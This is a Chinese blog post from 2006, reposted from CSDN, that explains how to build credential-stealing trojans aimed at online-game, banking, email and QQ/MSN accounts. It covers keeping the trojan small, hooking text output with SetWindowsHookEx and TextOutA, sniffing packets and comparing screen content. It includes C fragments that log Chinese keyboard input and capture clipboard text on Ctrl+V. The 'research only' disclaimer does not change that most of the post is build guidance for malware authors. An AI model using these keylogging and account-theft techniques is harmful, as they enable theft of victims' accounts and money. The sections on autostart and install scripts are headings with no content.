原帖:http://blog.csdn.net/davemin/archive/2006/10/30/1356139.aspx
申明: 本文涉及到的技术只供参考研究之用,不可用于非法行为,本人不负责。
A. 写在开始 自以为编写了几年的网络通信程序,对网络很熟悉,碰到个搞UNIX的朋友,才知道我对网络不精通。 自以为研究了系统几年,对系统很熟悉,碰到个一直写驱动的朋友,才知道不用说linux, 就连win32我也不懂。 自以为算法不错,碰到个写video,audio算法的家伙,才知道我只是菜鸟。
但我还是有我独到的地方,有我熟悉而别人极少熟悉的层面。 或许只是聊以自慰,或许只是愚弄世人。
B. 现状令人堪忧 目前中国的网络现状着实令人堪忧, 可能原因是: 盗版不是非法 导至广大用户需要软件就上网找. 从而导至网页里面各种插件感染脚本,流氓软件感染脚本, 泛滥成灾...
任何用户包括我自己,也不能肯定下载下来的软件,没有恶意代码。
木马盛行的今天,我们需要反木马,但不了解木马如何反木马?
C. 木马要求 1. 因为目前市场上木马多以网页形式感染,所以木马要求越小越好, 关于文件大小参考: http://blog.csdn.net/davemin/archive/2006/09/26/1289795.aspx
1.1. 建议:尽量不要定义Class, Struct, 和变量,少定义涵数,多使用goto;
2. 木马类型及相关截获数据技术浅谈 网游类: 目前网游很盛行,以前做外挂的可能现在竞争激烈了,都转到截网游账号上来了. 而且网游涉及到装备和虚拟币,所以做截网游账号的事也是很诱人的。 浏览器类: 像很有名的网银大盗之类的都属于这一类,同时截email账号之类的等等都是这一类。 应用程序类: 比如截QQ,msn账号等等属于这一类。
2.1. Hook文本数据 但是每一类都涉及到差不多相同的技术,对于文本可以使用SetWindowsHookEx, 截获TextOutA API等等技术。 相关技术参考: <Windows 核心编程> SetWindowsHookEx 技术相信大家也是熟悉的。
2.2. 网游类截获网络数据包 但是对于网游类, 因为网游类根本就没有用TextOutA来渲染文本,所以不能使用截获TextOutA API等等技术, 相反 可以使用截获网络数据包,分析数据包技术来做。 对于这一点,本人强烈建议网游公司,每一个星期更新客户端程序的时候,把加密算法改一下,这样木马就没用了。
但道高一尺魔高一仗,即使网游公司这样做,相信做木马的朋友还是会想办法来解决的。
2.3. GDI对象DC比对技术 可能这个技术是相当先进的,但是非常有用的,不过可能涉及到的对象和算法非常繁锁。 原理是:Copy 一个DC对象,使用SetWindowsHookEx后,在GetMsgProc事件里面进行对比。
2.4. Hook文本数据补充 - 中文截获
在GetMsgProc里面,很多人使用事件:WM_IME_COMPOSITION 我个人以为,使用WM_IME_COMPOSITION根本没有必要,而且WM_IME_COMPOSITION,和WM_CHAR事件同时存在。 当然如果是中文p->wParam > 127
本人以为可以直接在WM_CHAR事件里面处理, 相关代码参考: PMSG p = (PMSG)lParam;
static TCHAR tcChinese[3] = "/0"; // 定义静态数组 if( tcChinese[1] == 0 ) tcChinese[1] = (TCHAR)p->wParam; // 208 "中" else { tcChinese[0] = (TCHAR)p->wParam; // 214 "中" lstrcat( g_szText, tcChinese ); // 存到全局变量里面 tcChinese[1] = 0; // 设置为0, 可以重新取下一个中文 } // ASSERT( g_szText = "中" );
2.5. Hook文本数据补充 - Ctrl + V处理 PMSG p = (PMSG)lParam;
if( p->wParam == 22 ) { TCHAR tchar[64] = "/0"; if( OpenClipboard( NULL ) ) { HGLOBAL hData = GetClipboardData( CF_TEXT ); if( hData ) { LPCSTR lpcszData = (LPCSTR)GlobalLock(hData); GlobalUnlock( hData ); lstrcpy( tchar, lpcszData ); } CloseClipboard(); } }
3. 木马的自启动 4. 木马安装脚本
